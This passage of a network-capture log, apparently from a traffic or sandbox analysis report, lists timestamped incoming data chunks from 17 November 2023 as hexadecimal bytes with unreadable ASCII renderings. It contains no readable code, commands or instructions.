ec 4e 5f dd 12 7a 3e ef db a5 f9 26 dd 27 0c fa 78 cc 3f bd b0 96 d9 75 1c c6 5a 96 63 2a 91 58 02 5d e6 5e 00 21 Data Ascii: l]3@H^E]Wr/<kH^R2G<QbglIHv:AHX'QP7KgVx>bkTOpWtq\8Z)8O-~db)\|]Zr-'/l@A9$("crN_z>&'x?uZc*X]^!
2023-11-17 05:22:24 UTC	3381	IN	Data Raw: 14 de aa 4c a4 0a ef 0f 90 b3 e5 29 cb 0d 3f d4 97 4b c4 b0 4b ca ee 2f 67 15 3c 13 03 32 d8 62 9f 62 d8 56 d6 97 6a f5 ec 59 ef 37 43 8d f5 03 3b 43 3e b3 79 21 2c 42 81 6d 1f 21 e0 84 79 a9 16 40 83 c2 16 96 d6 17 28 f0 ca fb e2 e3 f5 14 cf 83 d8 d8 ea 1e 12 de 93 86 84 5b 40 9a 8a 89 b1 e0 2f fb 93 56 90 a4 a9 e9 58 3e 61 a8 6a 48 e4 52 6a fd 35 5e dc 1d fe d2 c6 ad d7 a5 c0 7f 92 21 66 6c 54 84 2d f1 07 04 b8 34 36 70 2f 7c 69 27 53 e1 85 7f fd 90 ae d0 89 9a d5 40 42 56 e3 61 9a f7 b9 7e 54 d8 83 f9 49 d5 d6 00 33 b3 77 07 80 d0 05 77 c1 bf 98 ec 73 25 53 30 fe 8a f4 65 39 25 38 c1 95 3d d2 e2 7b a1 69 a2 4e c9 dc 25 2b e4 c2 6a ab 74 92 eb 57 7d e5 ca ee 8a 6b 9a 46 45 01 a8 5f 05 09 22 69 83 d4 29 31 f7 39 de 88 1d 03 82 a6 01 e7 fb fa 7c 69 47 87 Data Ascii: L)?KK/g<2bbVjY7C;C>y!,Bm!y@([@/VX>ajHRj5^!flT-46p/\|i'S@BVa~TI3wws%S0e9%8={iN%+jtW}kFE_"i)19\|iG
2023-11-17 05:22:24 UTC	3397	IN	Data Raw: 56 d3 c6 5b be 60 0a 43 d2 36 e0 0b cc 09 d1 f8 c2 ce 4d 74 6b f6 e9 0d 7c 27 93 df 14 75 72 30 68 0b 20 f8 11 8a 8e 59 21 ee 9a f7 b9 09 f5 d8 86 f8 49 9c 13 9f 6a 22 48 13 e5 d9 62 c2 b4 21 5f 28 bc db f7 e7 b3 6b f4 65 99 e3 00 eb ab f9 18 19 5b 50 e6 03 88 bc fe 4a f6 ba 06 a5 3e d4 b9 e8 01 7f e6 4c 29 d4 73 57 94 12 03 34 fc 07 93 a5 0e 14 94 3f 6b f5 16 e4 8a 3b 84 e5 a7 41 93 e2 f8 9b 87 45 e4 4b e6 43 51 2f 28 17 b4 01 b7 86 b6 c0 67 5b db 70 e3 b0 58 4b e0 5d 24 d0 00 cf 5d da 92 96 d6 11 ab 75 da d1 e0 5c d5 af bd e2 30 83 f1 2c 16 b6 64 41 59 3e 7c 94 af 82 34 12 96 7b 52 32 9f 3a 9d 17 0c 9c 97 2b 80 e3 14 46 df e5 08 c3 48 f8 c0 35 27 76 9b d1 e9 0d d2 15 9e ec 42 77 17 17 c9 cd c9 7a 88 42 83 9e e1 bc bd 56 7f 50 05 7c 4e f4 2e 82 96 cf 93 Data Ascii: V[`C6Mtk\|'ur0h Y!Ij"Hb!_(ke[PJ>L)sW4?k;AEKCQ/(g[pXK]$]u\0,dAY>\|4{R2:+FH5'vBwzBVP\|N.
2023-11-17 05:22:24 UTC	3413	IN	Data Raw: f6 c2 78 f3 8c 22 60 01 b4 e3 f8 94 ee 20 e8 8d ef d1 1d 65 6f 40 b6 17 13 42 79 5f d2 59 f4 7d 27 7f ca fb e2 a1 1d 14 cf 83 d8 d8 95 eb 12 de 33 40 d8 27 46 5e 45 88 bd e2 52 2b 57 99 e0 72 ab aa 91 3c 96 2f ad ba b3 d5 0d e8 75 93 59 1f 12 1e c4 94 50 62 a4 c4 b5 80 a0 24 2b 0b e0 59 06 04 e0 dd 53 79 e8 0d d8 65 fb e0 85 1f d1 55 61 6c 0f fd 1c b0 4b 96 86 68 fd 86 95 52 39 1d 4c 6c 09 23 50 67 6d f0 48 13 e5 d9 62 32 35 21 5a 89 7a 42 4f f4 c5 35 91 6c fe e7 a0 83 3d 9c 14 de 9a 16 a4 0a 4f c9 09 78 ee 2b 7a 2a 3e d4 45 e8 01 7f 83 4c 29 d4 e1 57 34 d4 22 21 5f 05 5f 22 69 83 d4 16 48 f7 39 7e 4e f1 ff d7 62 ce 32 24 37 9c 3a 80 bf 8f 28 6c 1f 0c 48 41 b6 49 90 87 b6 b6 54 3e d7 17 1e d3 af f2 24 97 9d e2 f9 4d 8f da 96 36 10 15 14 40 d8 6b b0 a5 17 Data Ascii: x"` eo@By_Y}'3@'F^ER+Wr</uYPb$+YSyeUalKhR9Ll#PgmHb25!ZzBO5l=Ox+z*>EL)W4"!__"iH9~Nb2$7:(lHAIT>$M6@k
2023-11-17 05:22:24 UTC	3429	IN	Data Raw: e3 d1 c8 bb fd 59 9c 1b 4a b6 0d 4d 50 23 fc b3 4b dd 83 f5 77 3b 85 de 1f b2 b5 da 63 ca 4f be 0b 28 ba d8 fa 03 b6 f2 d6 54 1f aa 58 81 81 4b 69 3e 54 cb 8e 2e f0 13 2d 14 86 18 ea 0c 80 3e ea d8 94 12 03 c1 8d 07 96 05 c8 45 d9 e3 af 3a 91 df 88 97 0b e7 af c6 f4 30 b8 d4 68 47 29 e7 e4 64 d8 aa b8 c6 d1 08 d0 be 12 3a db 9e 11 b6 65 d7 6b 3d cd 23 41 d9 c6 e4 65 5a 11 c9 81 13 9a 40 d8 48 7e 34 3c 7e 79 2c 87 5a 55 3f ae b6 64 41 59 3e be 3f af 87 94 d4 0d bd e4 f6 50 d8 31 69 86 3c 51 62 52 92 d0 89 66 6c 55 ff 40 17 51 06 44 13 97 b6 d1 b4 da ea 5b 26 b3 37 7a 57 e0 4b 0e fd 3e 00 8e 59 2a ee 9a f7 b9 af 71 d8 83 f9 49 61 d6 a1 f5 59 8f 80 33 8e 60 7f a6 e5 95 75 22 40 5a f6 c7 c0 3f 60 3a b4 02 4f 35 fb f5 9e 9c a3 d9 85 ef 0f 90 2d 5c 29 cb ad f9 Data Ascii: YJMP#Kw;cO(TXKi>T.->E:0hG)d:ek=#AeZ@H~4<~y,ZU?dAY>?P1i<QbRflU@QD[&7zWK>Y*qIaY3`u"@Z?`:O5-\)
2023-11-17 05:22:24 UTC	3445	IN	Data Raw: fd 66 e7 da 27 c4 9a 55 5d ec 19 1d af 18 83 29 3f eb e0 9d 54 57 6d a1 21 62 62 b4 25 e1 35 be 0d 9a 49 c6 b7 b0 62 e5 b3 51 cf 5f 1d 26 c9 7a 96 4f 22 95 0c 74 cf b4 84 0d ed b2 51 64 b3 0f 12 e2 9c 57 c5 10 7b 57 b0 7d cb 37 d4 40 4b 19 86 68 fd 14 19 52 3c bd 8a 3e e7 46 94 ad 92 75 4a 25 3b 1d a8 d6 07 23 7c 69 be 88 52 30 fb ba 31 aa a0 65 c7 81 fd bb 14 de d2 b9 32 38 19 a2 95 61 2b e2 63 ac f9 ef 7c aa 0c 18 ea 0c d6 73 ea dd 34 d4 bf 21 5e 05 d5 a6 41 87 45 5a 64 92 30 19 5d 26 41 2f 07 c7 f4 70 38 b1 64 80 2e 1b a6 6c 1f bf 48 e1 70 ce 9e cc b4 f2 73 9f 11 1c 7b b2 67 fa e2 bf 03 d1 00 a9 5e 1e 58 ab 1c 3d 21 17 da d2 40 9a 8a 07 40 e0 2a fb 93 56 4c 37 a9 ec 58 3e cd a8 ca 8e f3 6e 94 39 ff 93 59 1f 55 08 c4 91 50 62 bd c4 b5 80 a0 95 97 0b e5 Data Ascii: f'U])?TWm!bb%5IbQ_&zO"tQdW{W}7@KhR<>FuJ%;#\|iR01e28a+c\|s4!^AEZd0]&A/p8d.lHps{g^X=!@@*VL7X>n9YUPb
2023-11-17 05:22:24 UTC	3461	IN	Data Raw: 69 73 6f 1c b1 77 c6 de fd 81 b6 e6 16 70 a5 18 2e da ec cc 40 88 26 c0 07 9d b9 96 22 41 ae bb fa 18 16 ac 13 72 3d cd b9 41 1a 64 d3 0b 92 c0 4f 6b e4 6c e8 d0 a3 cf 4d 0d b1 a8 b3 5e f5 5b 94 4d 2e 1b bd 32 d9 c9 ff ba c5 17 a3 1d d8 99 59 ec ad 17 df 09 89 4e 8c 25 a9 62 aa 14 65 e9 f9 dd f1 7e 55 3e c8 7b f1 7b 77 84 99 d0 f1 5d 95 62 13 9d 2e 1b e4 aa 5e 53 dd 0d 1c 2c e2 09 97 55 06 35 5e 23 bd fa 38 31 52 4b 7f c2 02 6a 32 05 64 5f 9b b1 9e c6 ce 3d 79 fa 5a 54 d0 e5 e3 7e 2f 2a e5 60 7b 98 92 0c fe 92 92 d3 dd 2e e1 39 55 6f be 1c 0d 8e 12 ed fc 6d 84 69 06 30 b5 bc 22 31 0a 8b 51 90 69 74 60 18 e4 72 96 8f f9 d0 b9 ba 17 70 a5 18 2e 80 ef 9e 45 87 79 9b 07 9d eb 9f 74 1e ae ec ae 1c 45 ac 14 75 3c 98 b9 44 19 34 d3 5b 90 93 1e 38 b1 6b e8 d0 a3 Data Ascii: isowp.@&"Ar=AdOklM^[M.2YN%be~U>{{w]b.^S,U5^#81RKj2d_=yZT~/*`{.9Uomi0"1Qit`rp.EytEu<D4[8k
2023-11-17 05:22:24 UTC	3477	IN	Data Raw: 73 61 bb 6f 2c 6e 1b 6f f3 67 17 0a 52 e9 bd c3 43 c2 63 dd 1f fb 70 5c 07 28 30 7a fa 89 b3 72 a8 59 d9 77 c8 66 96 d6 ce 4e 4c fa d7 53 64 f9 c8 38 9d 57 e2 40 7a 2e 9a 0d f0 0c db 28 8a b9 27 c0 99 86 e7 58 2b 54 de 8f 15 1c 67 ed ab 43 3e 16 de 39 a7 4c 28 db 27 7c 9a 63 af 3f 4f 16 1d 94 f0 5a 21 e6 c8 7d 14 2c d6 63 97 18 dd 9e 48 ef d2 6e db dc bb fa dd d6 b9 87 57 5c af 48 d0 88 2a 3e 26 5f 95 3a 09 60 cf b4 0b de 5a e4 23 9e 77 c0 54 3f 11 77 68 74 c0 8a a7 ce b0 c1 3f bc 7b f1 0b 34 04 77 5b 0f b1 66 1f eb e9 f1 d4 ea 4b 7c f7 25 61 fe 1f 45 3a b9 57 a9 1c c6 26 8f 13 a2 3b 22 47 d9 7a d0 c1 c4 d3 0e 38 60 12 c6 e5 4e bb d3 30 c1 b2 a0 bc 22 2c 35 d6 34 e5 36 06 25 12 cf 1b 00 f1 50 e7 ca 16 05 6d e7 a8 f5 63 0d ae a8 87 9a 0d 11 70 e0 47 c2 d2 Data Ascii: sao,nogRCcp\(0zrYwfNLSd8W@z.('X+TgC>9L('\|c?OZ!},cHnW\H*>&_:`Z#wT?wht?{4w[fK\|%aE:W&;"Gz8`N0",546%PmcpG
2023-11-17 05:22:24 UTC	3493	IN	Data Raw: a2 43 01 37 85 0e 94 8e 18 38 b2 38 fd c9 93 a9 05 5c b5 a8 b6 50 a6 54 91 1d 1c 28 ff 62 c0 c1 f9 be c3 0d f7 07 d4 c8 15 bb b8 12 83 0c d8 52 86 2b fd 60 e4 0d 01 8f e3 88 a0 7e 09 64 c8 74 a1 2b 42 b6 87 de bf 5f 91 34 18 88 28 0f e6 a8 11 50 96 5b 1f 2d ef 42 c4 05 57 3c 45 3d 8d cd 72 31 52 4e 28 9a 5e 38 61 55 51 6a 81 ed 83 c9 9f 6e 74 e3 5c 4b de b7 ff 2b 61 23 b0 64 2e d4 94 08 fe c7 8d 99 ef 1e fb 3f 5b 3f eb 4c 5f 8e 45 bd 99 0e 9d 60 1e 32 e1 ed 26 2c 58 92 51 c2 25 20 7b 12 b7 2f 99 c3 ae 85 bc ea 5f 3a 94 7c 67 d1 ba ce 15 dc 79 c4 06 cd 89 ae 3f 4f bb e8 fc 1e 11 e4 11 6d 65 98 a0 42 01 30 82 5e 91 8e 4b 6b e2 68 fd 9b c7 fc 00 5d b0 fa b5 50 a6 08 c3 1d 1c 28 ff 35 92 c4 f8 b6 92 08 f2 07 dc ce 4d e9 b8 17 d2 0c 88 52 d4 2f f9 37 e4 0d 07 Data Ascii: C788\PT(bR+`~dt+B_4(P[-BW<E=r1RN(^8aUQjnt\K+a#d.?[?L_E`2&,XQ% {/_:\|gy?OmeB0^Kkh]P(5MR/7
2023-11-17 05:22:24 UTC	3509	IN	Data Raw: 4d 1f d5 5a 03 f3 f1 61 cb b6 f1 a3 8c 74 d5 05 69 52 8f 26 3f e2 20 99 c8 55 b3 1d 49 6c 9c 87 43 12 6e e1 69 af 45 03 0c 21 83 4b ef e0 c1 bf de ca 28 bf 84 35 95 2a 78 80 ba 9c 44 86 77 c3 07 82 ec 9d 74 05 83 dd e5 18 40 e5 43 76 3c cb a0 0a 48 69 d5 0e 8b 90 1d 69 e6 24 e9 c9 c6 f8 1b 07 b7 f9 e4 55 f7 0c 92 58 7d 4d e6 7d f4 f0 b0 ec c5 03 f5 19 8e 9a 4c a2 ad 13 d4 5e 93 49 d0 7f ac 79 ab 0d 00 d9 af dd a3 7e 55 39 9c 77 ab 61 24 86 9a 94 dc 6c de 64 1f 85 2b 47 e5 af 15 4c 83 0c 4e 2b f7 5c c5 01 5b 21 5a 6a d8 9c 6e 64 07 49 2e ca 0f 69 34 19 61 53 c9 f4 b3 fe d3 6c 74 e3 0f 5f 84 e1 fc 63 2e 73 b3 30 61 9b c2 0b ff 8e 97 99 b9 48 b7 6f 5d 6d b8 11 5a 81 45 f1 fc 6c 87 25 2b 54 fe ed 2c 28 5b de 53 c5 71 3b 66 1b b2 27 8d 8a aa 82 be f2 11 6b 90 Data Ascii: MZatiR&? UIlCniE!K(5*xDwt@Cv<Hii$UX}M}L^Iy~U9wa$ld+GLN+\[!ZjndI.i4aSlt_c.s0aHo]mZEl%+T,([Sq;f'k
2023-11-17 05:22:24 UTC	3525	IN	Data Raw: da 7c b7 32 bf 6a b1 40 9a 08 86 35 34 e9 d6 e6 96 11 3b 53 f2 48 92 13 20 8e e5 b7 8f 36 f1 0c 78 ed 45 37 d1 c4 27 3f f4 6e 7d 10 8c 7a f1 66 64 06 27 54 b9 a7 11 0c 38 73 48 f4 6a 07 00 6d 33 52 e3 d3 b4 f6 f8 50 4f dc 39 73 b5 8b 9f 43 03 1b 8e 52 48 ec a3 39 9c aa ef a4 8c 26 cc 06 6a 05 da 76 3e b3 77 85 fb 36 ff 57 2d 0a df d0 46 1d 6a bf 84 92 54 94 77 2e 7b 4b e1 21 98 c3 aa d4 be e7 5f 3b 9c 7d 61 da b8 c3 14 8f 25 97 01 cd 89 ae 3f 48 e6 e4 a7 1d 15 e4 41 6d 31 ce a5 1e 01 61 d5 0b 9e 8e 12 6f b5 3a fd 99 c0 f9 03 06 b6 fd e6 54 a2 5c c1 1d 1c 28 ff 32 c6 93 aa eb 9e 0d f1 07 dd 98 10 bc b8 13 d1 5a da 52 82 2e f7 62 e4 5e 5d d0 bb 8f a0 2c 0d 6b 91 26 a6 2b 42 b6 87 8a ee 5c 97 67 4f d4 29 0f e5 af 12 07 96 0e 19 29 ea 42 c5 5f 06 3c 45 6e 8e Data Ascii: \|2j@54;SH 6xE7'?n}zfd'T8sHjm3RPO9sCRH9&jv>w6W-FjTw.{K!_;}a%?HAm1ao:T\(2ZR.b^],k&+B\gO))B_<En
2023-11-17 05:22:24 UTC	3541	IN	Data Raw: f3 9d b4 18 f4 22 a3 4b 50 c8 d2 8c 23 38 fe 3b 0a 2e 79 6e 39 f9 68 ec dc bb 14 21 83 80 d1 23 2d 8e 75 1b 50 a0 93 7d 7f 0a e4 7a c4 9b 33 54 8b 54 84 ac f8 c7 65 2a d0 c2 d3 6b 8c 66 f5 3b 1a 3d d3 5e a0 fa 84 d2 f4 30 92 26 eb f2 2e 85 c5 7f e4 79 dc 47 ac 14 98 0e ce 64 63 e1 d3 fc 91 10 3c 5c e6 4b c3 58 44 a3 f8 e3 8d 63 ea 5f 28 b9 19 2b d5 93 74 61 e0 63 2c 59 b8 57 eb 3c 33 0c 3f 54 b9 a7 18 47 30 20 4b f4 74 55 56 23 55 7f ad 88 b7 fe e7 07 1d da 6e 3d b3 88 9c 14 48 48 d3 16 2e c1 ba 66 9b af a3 a2 dc 23 ca 18 39 03 8d bf 84 4b 44 80 43 f3 ae 23 d4 39 1a 67 a8 bb 21 2e 0f dd 00 90 25 2e 60 13 b4 6b a0 ee e0 82 bb e8 45 39 97 20 33 ce ec cb 10 8b 6d 96 55 84 e8 83 22 19 e0 b8 b3 48 11 b8 11 78 37 9a a6 44 48 65 dd 42 a6 a3 51 39 e9 38 b1 9e c7 Data Ascii: "KP#8;.yn9h!#-uP}z3TTe*kf;=^0&.yGdc<\KXDc_(+tac,YW<3?TG0 KtUV#Un=HH.f#9KDC#9g!.%.`kE9 3mU"Hx7DHeBQ98
2023-11-17 05:22:24 UTC	3557	IN	Data Raw: 3b ea f3 dc 5e 97 76 fa 7c a8 a9 fc 55 a4 8f de 08 0d 2f 77 13 de c1 9c ea 7f f7 08 bc 51 58 21 7e 90 63 20 da b8 ba e4 29 a5 58 0f b7 56 28 55 b5 58 57 6e 39 9a fc 35 0f c6 b9 1e ee 81 46 f8 b9 36 84 60 2d c4 17 b6 f9 24 0b 87 50 ca a9 2e 34 12 43 11 40 11 62 d9 9d 7d 22 e8 c5 02 09 8f f5 1b 7b 6a 47 47 28 2a 12 58 e0 26 82 48 52 81 30 1d 4a 1a 6e 2b 9b ff 34 76 60 e2 90 73 23 8c 4e f0 9c 86 eb d5 98 b1 b0 0c 66 48 97 73 12 c8 26 9b 2b 4b 4c 30 b6 2e 3b ee 9f f4 6f ee 5d d6 e3 40 0c 84 74 0f 46 63 ba ab 69 ca 69 1a 5a f2 af 9d cd 32 d4 b6 1f c2 88 6d 1c b0 31 2c e5 db 96 c1 09 09 38 27 e9 4b b6 8a 9f 6f ee 87 8c 8e b4 bf 1d 58 3f 80 b6 94 11 5a a1 d4 33 f5 7b cd b0 52 98 b0 d1 c6 f2 36 76 a7 69 0d e1 da d6 04 5f 73 d1 bf 84 27 7f b5 e5 71 d7 95 f4 99 e8 Data Ascii: ;^v\|U/wQX!~c )XV(UXWn95F6`-$P.4C@b}"{jGG(*X&HR0Jn+4v`s#NfHs&+KL0.;o]@tFciiZ2m1,8'KoX?Z3{R6vi_s'q
2023-11-17 05:22:24 UTC	3573	IN	Data Raw: 96 b4 b2 55 45 cd f5 cb f1 69 d6 0d 41 e4 f1 0e a5 a8 fa a2 85 f7 31 f3 f2 90 d4 62 f2 1c 8a ad b4 e8 cd 65 56 1b e0 e4 92 b7 aa 89 da 89 eb c7 ef ac 43 7b f7 32 b4 8f 49 9b 90 87 b1 94 60 6d 8d 7a ad ad 9c 91 0b 25 69 ec a7 0c 5e a4 cd ac 00 97 ce 6e 39 57 eb 6c 31 04 6b 50 e7 f5 45 47 63 25 4b a6 74 00 53 27 55 7f a8 d0 e9 fe e7 50 17 d9 6d 6e e1 de 9e 41 1c 19 84 16 2e c1 ba 63 c7 ae f7 a7 8e 25 9d 18 37 02 8f 25 26 e7 70 99 cc 1b b1 01 28 5d ca 83 43 12 33 b7 60 f8 42 48 02 74 d8 53 c2 d6 82 ef d9 d3 76 05 f6 16 00 f6 dc a1 73 e0 0f fb 62 b0 88 bb 43 21 d4 87 d1 26 25 db 26 1b 02 a0 c2 2b 28 0f e5 7a c4 9b 33 04 81 55 d7 f3 a0 cf 63 2a 86 c3 8c 3b 8c 31 f6 68 46 3d d3 5a a6 fd 84 83 a1 35 92 73 ea f2 26 85 c4 7b b4 79 dc 47 ac 40 98 08 ce 67 64 b2 d1 Data Ascii: UEiA1beVC{2I`mz%i^n9Wl1kPEGc%KtS'UPmnA.c%7%&p(]C3`BHtSvsbC!&%&+(z3Uc*;1hF=Z5s&{yG@gd
2023-11-17 05:22:24 UTC	3589	IN	Data Raw: f8 c4 6b 6b d1 b3 89 55 cf 3b ab ee eb c9 4c 9f fd f3 49 79 00 01 a0 9e 90 99 0a 8f a0 49 33 8b 50 70 13 3d 63 85 20 ed a4 82 84 7b ba 3a 9b 29 1d 9d 80 8a 71 26 ac 3f 00 65 63 60 46 22 b0 6c 33 b9 a1 06 bb ec 00 16 19 80 28 3a b6 e9 01 96 c1 af 80 6d 0e 86 c4 ff bf 68 80 00 14 fd a7 5e a2 bd b2 a8 83 f0 25 ea a2 93 d8 2b ef 41 d4 ae ff ed c9 6e 39 f7 24 83 94 29 b5 36 eb 72 b5 58 ad 6c d0 62 31 b4 d7 e6 96 15 3e 48 a9 1f 92 5a 0d ef fa b4 da 79 f5 5e 7e bd 51 2b d5 c1 72 3f ee 61 79 15 88 33 a1 22 00 34 71 02 bd a1 11 5f 34 25 1c ee 68 54 57 22 1e 30 ac d5 b2 eb ae 50 17 8b 25 6a b2 8b 99 13 1d 1b d1 08 4c a2 f2 7d ff 9b b9 a5 89 24 99 00 3f 04 dd 3d 6a b3 20 9b d6 55 e6 02 7c 41 83 d0 13 10 26 e2 62 af 44 4c 55 70 d8 17 f7 b3 cf f4 ed e7 6b 53 f2 16 02 Data Ascii: kkU;LIyI3Pp=c {:)q&?ec`F"l3(:mh^%+An9$)6rXlb1>HZy^~Q+r?ay3"4q_4%hTW"0P%jL}$?=j U\|A&bDLUpkS
2023-11-17 05:22:24 UTC	3605	IN	Data Raw: 88 f2 9e b8 c4 d9 e3 90 be b2 17 2a a0 2b f8 8e 1c c8 88 98 e5 90 61 24 c5 2e fe fc d3 93 06 74 6e ed f7 08 5e ea af 99 43 88 fc af d4 a6 12 9f 4d 85 cc 69 64 c6 5a bb 6b 6c 1e 87 70 ed 7c fd c3 47 c2 38 8b cb 60 15 48 a4 91 43 bf c5 58 e4 ba 96 68 6d 87 f7 bf 65 84 75 f9 eb e8 c3 54 9b f9 ec 1e 62 00 03 ee c9 df 97 0b 96 f2 4f 38 8b 45 71 11 66 61 9d 42 dc ed 86 85 20 ee 76 ac 1c 54 d6 d0 8b 70 73 b7 3c 06 2b 6c 79 14 23 af 3e 7d e8 f3 6e 39 d6 cb 74 20 89 73 48 00 f6 93 62 4e 69 fd 32 f6 a8 2d 03 d6 02 83 b8 a7 c6 61 66 c8 c1 87 6d 92 78 a7 3a 4f 26 cb 5d a1 f0 9b 82 a1 31 c7 77 b7 f2 2f ca f7 1a fe 3c ec 7f b4 16 cf 5d 92 7c 66 e4 d5 b3 8e 40 6b 51 f8 56 c5 5c 16 b8 b3 b7 8b 37 f6 5d 2b bd 4f 2a d7 92 28 24 d9 57 35 10 81 36 a1 6b 31 0c 3d 4b be fa 10 Data Ascii: +a$.tn^CMidZklp\|G8`HCXhmeuTbO8EqfaB vTps<+ly#>}n9t sHbNi2-afmx:O&]1w/<]\|f@kQV\7]+O($W56k1=K
2023-11-17 05:22:24 UTC	3621	IN	Data Raw: ed d9 d1 28 b8 21 fa 4f 57 d6 d0 88 75 71 b7 6f 51 7c 32 79 44 73 a9 3a 7d b8 f6 4d bb ee 05 15 52 81 24 3c b2 ac 38 a7 8b ac 87 63 0f ca fd c7 f3 76 8e 0a 40 fa be 5c a1 f5 e2 b6 84 f4 3b bd bd ce d3 62 bc 4e d6 ae e1 e4 99 69 58 04 81 d4 88 fd cb bd c5 d3 e2 90 eb b2 49 2a a3 7a f8 d9 1e 9a 8e 98 b2 91 33 76 c5 2b f8 af d2 96 0b 27 38 e6 a5 5c 5e ea af 99 43 de af ff 83 a1 4f cd 44 85 98 3d 6f 9c 5a ba 30 34 1e 87 21 ea 21 f9 c3 1a 91 6e 8a 9f 3d 13 1b a3 96 41 ec c5 58 e4 ba 95 6f 6a d3 f8 ed 33 d2 75 f0 bd ba 9e 54 cd ac bd 48 6e 39 ac 23 c9 c3 53 a9 58 71 5b d2 8f 43 15 3a b6 64 fe 10 53 34 12 9b 1d f2 e3 9a ec 88 d6 27 18 a4 11 01 bd c1 f0 71 e7 1a b7 62 ea de a7 0b 75 d1 86 c4 76 70 8b 24 4e 53 f6 c3 62 4e 69 fd 3f a0 ab 7e 0c d1 52 82 b8 f2 ce 30 Data Ascii: (!OWuqoQ\|2yDs:}MR$<8cv@\;bNiXI*z3v+'8\^COD=oZ04!!n=AXoj3uTHn9#SXq[C:dS4'qbuvp$NSbNi?~R0
2023-11-17 05:22:24 UTC	3637	IN	Data Raw: 14 ea ce 5f e4 91 c2 7f 7c ed a9 0c c7 a4 a5 de 0b 0d 94 cf f1 de 84 9c 30 7f a7 e2 bc af f8 d1 7e 90 f3 20 b2 b8 9a e4 c0 a5 3f f0 b7 ce 4f a4 b4 09 c9 15 8f fb 46 fa cf de 7d 4f 33 36 8d 78 f1 ae 82 a2 2b 78 01 96 3c 4a 26 a3 52 e0 53 dc b8 59 b4 fd 8f 6f 9b 9c 66 fb 87 1a 41 aa ee 0c 74 48 8e 54 26 46 27 cc 50 f5 89 2b 8a dc bb 77 36 b6 0c 59 65 d1 38 a7 f0 c9 12 55 3a fb da ff c1 5b b7 39 22 c9 33 3d c0 90 d2 9b db 96 08 de 90 99 e0 a7 df 79 22 d1 d2 dc f8 5d 10 79 43 d4 f1 ca e2 89 2c d5 db 29 67 9f c7 1f 97 1f 2e ed f4 cb bd 1e 86 a0 56 f4 e8 1f 61 9a b1 a3 1f 46 a8 08 93 e5 64 97 33 99 af ea c0 99 ef ed dd fa 7d a8 cf 6e 39 c2 21 6a 01 10 7e c3 d9 64 66 10 76 82 98 dc d1 c6 9c 61 2e 3d 0a 5e a4 ee ed 76 8a 80 ac 31 2e 6e c1 00 db 9b c2 bb bf 16 d3 Data Ascii: _\|0~ ?OF}O36x+x<J&RSYofAtHT&F'P+w6Ye8U:[9"3=y"]yC,)g.VaFd3}n9!j~dfva.=^v1.n
2023-11-17 05:22:24 UTC	3653	IN	Data Raw: 8b ff 80 66 58 cb a0 9c a6 76 d5 0d 16 ad be 5f f5 a5 ee b6 d7 a3 6e e8 bd 92 d5 37 ba 4d d4 fd b6 eb 9c 3e 05 04 81 d4 88 fb c8 bc c2 d3 b9 c6 e5 b2 45 7b a5 29 f8 d4 1b 9b d9 98 b6 91 30 21 c5 2e aa ad 81 c0 0f 72 3b e2 f2 5c 05 ea af 99 43 d8 aa fd 80 f0 17 c8 44 85 98 68 36 c1 5a e8 30 3e 17 87 23 bc 74 f8 c3 1c 90 3c 8b 99 3e 10 18 a8 ca 45 ee c5 58 e4 ba 96 3e 38 86 f8 ef 63 83 75 fe e0 ea 9d 54 cc ff eb 1f 62 04 0e b4 9c df cf 06 94 f3 19 67 8e 18 7e 40 30 68 9d 42 dc ed 85 d1 2d b8 77 ad 18 55 d6 d0 8b 72 73 b7 6e 51 2a 66 79 1e 23 fc 6d 7d b8 f5 1b b2 b9 51 12 57 d7 75 3d e4 ac 38 a7 8b f8 8a 66 5c ca a0 9d a2 76 d3 5b 13 fa be 05 a6 f3 b3 b6 87 f3 6a bb bd c0 d7 36 bb 1a 83 a8 e2 eb c8 64 54 04 81 d4 88 f3 9c 6e 39 23 e3 46 c9 55 92 7c 37 b2 d0 Data Ascii: fXv_n7M>E{)0!.r;\CDh6Z0>#t<>EX>8cuTbg~@0hB-wUrsnQ*fy#m}QWu=8f\v[j6dTn9#FU\|7
2023-11-17 05:22:24 UTC	3669	IN	Data Raw: f9 97 61 3c 9a f6 bc 62 8c 39 ab e8 ed c8 1a cc ff a3 7d 4f 48 01 e8 cf c0 9c 0c 95 f7 55 36 de 4a 2f 0b 33 32 85 73 f1 f0 84 80 2a a2 74 ad 48 52 9d d7 8a 24 70 a3 6f 00 35 54 54 5c 25 a5 6d 33 e8 f3 1d ee f1 06 4e 05 d2 3d 3b e5 b4 01 8a 91 f0 87 66 13 cd f4 cb f6 3f d5 0b 44 f1 f0 08 fb ed d7 9b cf a0 6a bd a6 cf 85 60 b9 54 81 fc b0 ed d5 64 57 18 b6 f9 cb f3 93 b1 8c 89 b8 c4 e4 f9 47 2f a1 2a b3 de 4e d6 bd b5 fd 92 65 78 d8 2e a9 ac 87 8e 5b 20 3e b2 be 0a 53 a4 cd b4 08 89 ff a9 cb a5 4f c2 4e cd 90 69 61 c0 47 ea 3a 70 2f aa 68 e9 75 f9 dc 1c 95 3f d9 82 3d 13 1c a9 de 42 ee db 60 c9 f9 c3 6f 3a 9a ff b0 63 85 39 f0 ec bc cf 48 9c ad a3 7d 4f 48 0e ef 9e c5 9c 09 9a a1 55 65 8e 48 7e 0b 36 68 d7 23 f1 f2 83 d0 79 a2 77 ae 1d 5f c3 d2 df 76 2c ac Data Ascii: a<b9}OHU6J/32stHR$po5TT\%m3N=;f?Dj`TdWG/Nex.[ >SONiaG:p/hu?=B`o:c9H}OHUeH~6h#yw_v,
2023-11-17 05:22:24 UTC	3685	IN	Data Raw: 96 fa c8 b1 c4 96 db a2 a6 ac 17 7c a7 7a ec 8f 1d 86 89 d4 e3 98 7b 79 8d 2a f0 b7 88 90 08 72 27 b0 a1 5f 04 a1 99 a9 0b d8 a8 fa d4 ec 76 fa 07 cb 9b 3c 60 c6 42 ea 39 20 4a 9e 2b eb 68 a4 dd 4e c2 25 8b ca 3a 44 53 a9 c7 11 ea db 68 87 f8 9c 39 6a d6 b3 89 55 cf 3d ff ef ed c3 1c cb ab f3 4e 7b 00 05 a0 c0 c0 98 5e 8f f2 41 35 89 50 2c 11 60 34 82 20 e4 f2 82 d0 20 b9 3a 9b 29 1d c3 89 df 76 24 fb 3f 56 65 30 67 15 76 b0 3d 33 ea f2 06 b8 e8 5a 4e 19 d0 74 38 b9 e3 0f 92 92 fe d6 67 06 86 c4 ff bf 68 d6 5b 13 a8 f2 0e a2 bd b6 af d7 a3 25 ba f2 c0 86 2b ec 1b d1 aa ff ec c8 68 01 1c e5 ec c2 f8 9a bf 99 96 db a2 a6 fa 45 2b 